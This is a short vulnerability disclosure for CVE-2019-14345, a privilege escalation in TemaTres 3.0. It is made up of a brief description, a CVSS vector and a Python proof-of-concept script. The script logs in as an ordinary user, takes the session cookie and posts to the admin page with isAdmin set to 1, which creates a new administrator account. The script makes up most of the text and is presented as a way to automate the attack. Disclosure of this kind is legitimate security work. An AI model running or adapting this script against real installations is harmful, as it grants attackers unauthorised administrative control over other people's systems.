CVE-2019–14345 — TemaTres 3.0 — Escalation of Privileges

TemaTres: controlled vocabulary server 3.0— Escalation of Privileges

The next image shows a profile with administration privileges, there are two users created.

With another user without administration privileges, its possible add the parameters with necessary values to create an administrator user.

The next imagen shows how was possible create an administrator user sucessfully

Proof Of Concept

AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

You can automatize the process using the next script:

import requests
import sys

session = requests.Session()

http_proxy = “http://127.0.0.1:8080"
https_proxy = “https://127.0.0.1:8080"

proxyDict = {
“http” : http_proxy,
“https” : https_proxy
}

url = ‘http://localhost/tematres/vocab/login.php'
values = {‘id_correo_electronico’: ‘pablo@tematres.com’,
‘id_password’: ‘admin’,
‘task’:’login’}

r = session.post(url, data=values, proxies=proxyDict)
cookie = session.cookies.get_dict()[‘PHPSESSID’]

print (cookie)

host = sys.argv[1]
user = input(‘[+]User:’)
lastname = input(‘[+]lastname:’)
password = input(‘[+]Password:’)
password2 = input(‘[+]Confirm Password:’)
email = input(‘[+]Email:’)

if (password == password2):
#configure proxy burp

data = {
‘_nombre’:user,
‘_apellido’:lastname,
‘_correo_electronico’:email,
‘orga’:’bypassed’,
‘_clave’:password,
‘_confirmar_clave’:password2,
‘isAdmin’:1,
‘boton’:’Guardar’,
‘userTask’:’A’,
‘useactua’:’’

}
headers= {
‘Cookie’: ‘PHPSESSID=’+cookie
}
request = session.post(host+’/vocab/admin.php’, data=data, headers=headers, proxies=proxyDict)
print(‘+ — — — — — — — — — — — — — — — — — — — — — — — — — +’)
print(‘Status Code:’+ str(request.status_code))

else:
print (‘Passwords dont match!!!’)